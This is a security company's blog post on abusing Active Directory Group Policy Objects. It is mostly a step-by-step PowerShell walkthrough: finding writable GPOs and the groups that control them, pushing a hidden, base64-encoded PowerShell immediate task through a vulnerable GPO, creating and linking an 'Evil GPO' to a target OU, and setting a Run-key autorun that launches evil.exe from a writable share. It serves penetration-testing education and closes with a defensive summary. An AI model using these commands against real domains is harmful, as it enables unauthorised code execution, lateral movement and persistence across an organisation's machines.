GPO Abuse - Redfox Security

redfoxsec.com/blog/gpo-abuse

Kunal Kumar July 31, 2023

GPO Abuse

- July 31, 2023
- Active Directory
- Kunal Kumar

Group Policy Objects (GPOs) are a powerful tool administrators use to manage and enforce security policies across a domain. However, in the wrong hands, GPOs can become a potent weapon for attackers. In this blog, we will explore the concept of GPO abuse and how it can be harnessed to gain unauthorized access and control over a network.

Understanding GPOs

Group Policy Objects are a collection of settings that can be applied to groups of computers or users within a Windows domain. These settings can govern various configurations, including security policies, software installation, and network drive mappings. GPOs are stored on a domain controller and are applied to targeted objects during the login process.

Force GPO Update on All Domain Computers

GPO updates ensure policy changes are effectively applied across the network. Using PowerShell, administrators can force a GPO update on all domain computers simultaneously. The following command achieves this:

```
PS > Get-ADComputer -Filter * | % {Invoke-GPUpdate -Computer $_.name -Force -
RandomDelayInMinutes 0}
```

Listing All GPOs in the Domain

To gain an overview of all the GPOs present in a domain, administrators can employ the following PowerShell command:

```
PS > .\SharpView.exe Get-DomainGPO -Properties displayName
```

GPOs Applied to a Specific Domain User or Computer

To identify the GPOs applied to a particular domain user or computer, the following commands can be used:

```
PS > .\SharpView.exe Get-DomainGPO -UserIdentity redfox -Properties DisplayName

PS > .\SharpView.exe Get-DomainGPO -ComputerIdentity WS01 -Properties DisplayName
Alternatively, the gpresult command can be utilized:
Cmd > gpresult /r /user redfox [/h gpos-redfox.html]

Cmd > gpresult /r /s WS01 [/h gpos-ws01.html]
```

Searching for Writable GPOs for the Domain Users Security Group

A crucial aspect of GPO abuse is identifying writable GPOs that can be manipulated to grant unauthorized access. The following PowerShell command accomplishes this:

```
PS > Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq ((Get-
DomainGroup "Domain Users" | select objectSid).objectSid)}
```

GPOs Controlled by the FOX\PolicyAdmins Group

To locate GPOs controlled by a specific group, such as “FOX\PolicyAdmins,” the following command can be used:

```
PS > Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ?
{$_.IdentityReference -eq "FOX\PolicyAdmins"}
```

Computers Affected by Vulnerable GPOs

Identifying computers affected by vulnerable (modifiable) GPOs is essential for assessing potential security risks. The following command achieves this:

```
PS > Get-NetOU -GUID "00ff00ff-00ff-00ff-00ff-00ff00ff00ff" | % {Get-NetComputer -
ADsPath $_}
```

Checking and Enabling Computer Settings for a GPO

To ensure that computer settings are enabled for a specific GPO, administrators can use the following PowerShell commands:

```
PS > Get-Gpo VULN.GPO.NAME

PS > Set-GpoStatus VULN.GPO.NAME -Status AllSettingsEnabled
```

Users with the Ability to Create and Link GPOs to a Specific OU

To identify users who can create and link GPOs to a particular Organizational Unit (OU), administrators can utilize the following PowerShell commands:

```
PS > Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=fox,DC=local" -
ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and
$_.ActiveDirectoryRights -match "CreateChild" } | select
objectDN,securityIdentifier | fl PS > Get-DomainOU | Get-DomainObjectAcl -
ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -
match "WriteProperty" } | select objectDN,securityIdentifier | fl
```

Creating a Task with a PowerShell Payload

Attackers often create malicious tasks to execute payloads on compromised systems. To create a task with a PowerShell payload, the following commands can be employed:

```
$ echo 'sc -path "c:\\\windows\\\temp\\\poc.txt" -value "GPO Abuse PoC..."' |
iconv -t UTF-16LE | base64 -w0;
echocwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC
4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACAAIgBHAFAATwAgAEEAYgB1AHMAZQAgAFAAbwBDAC4ALgAuACIA
CgA= PS > New-GPOImmediateTask -TaskName Pentest -GPODisplayName VULN.GPO.NAME -
CommandArguments '-NoP -NonI -W Hidden -Enc
cwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdA
B4AHQAIgAgAC0AdgBhAGwAdQBlACAAIgBHAFAATwAgAEEAYgB1AHMAZQAgAFAAbwBDAC4ALgAuACIACgA=
' -Force
```

Checking the Last Applied GP

To determine when a Group Policy was last applied, administrators can use the following command:

```
Cmd > wmic.exe /namespace:\\root\rsop\computer path RSOP_Session where
"name='planning'" call GetSecurityGroupResult
```

Installing GPMC as a Windows Feature

If the Group Policy Management Console (GPMC) is not installed, administrators can use the following command to install it as a Windows feature:

```
PS > Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
PS > Install-WindowsFeature –Name GPMC
```

Creating an Evil GPO and Linking it to the Target OU

An attacker can create an evil GPO and link it to a target Organizational Unit (OU) for malicious purposes. The following PowerShell commands achieve this:

```
PS > New-GPO -Name "Evil GPO" | New-GPLink -Target
"OU=Workstations,DC=fox,DC=local"
```

Locating Writable Network Shares

Attackers often search for writable network shares to store their malicious payloads. The following PowerShell command assists in locating such shares:

```
PS > Find-DomainShare -CheckShareAccess
```

Preparing and Executing Payloads with Autorun

Once a writable network share is identified, an attacker can place their payload on the share and create an autorun value in the evil GPO to execute the payload during system boot or user logon. The following PowerShell command accomplishes this:

```
PS > Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -
Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -
Value "%COMSPEC% /b /c start /b /min /c \\\srv01\SoftwareShare\evil.exe" -Type
ExpandString
```

TL;DR

Group Policy Objects are a double-edged sword in the realm of cybersecurity. While they are crucial for maintaining security and control, they can also be exploited by attackers to gain unauthorized access. By understanding the techniques employed in GPO abuse, administrators can better protect their networks and thwart potential threats. Stay vigilant, keep your GPOs secure, and maintain a proactive approach to cybersecurity.

PreviousIntroduction to C2 Frameworks
NextUnderstanding Intent Injection Vulnerabilities in Android Apps

Recent Blog

September 09, 2025
Is APK Decompilation Legal? What You Need To Know
September 06, 2025

[When Hackers Hit the Road: The Jaguar Land Rover Cyberattack](#)
September 05, 2025
[This Is the Hacker’s Swiss Army Knife. Have You Heard About It?](#)